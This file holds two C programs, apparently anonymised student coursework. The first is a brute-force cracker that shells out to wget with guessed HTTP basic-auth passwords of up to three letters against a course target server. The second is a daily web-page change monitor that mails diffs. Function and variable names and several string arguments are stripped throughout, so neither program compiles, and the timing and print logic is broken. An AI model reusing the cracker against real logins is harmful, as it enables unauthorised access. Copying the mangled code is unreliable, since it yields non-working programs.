#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}

#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}
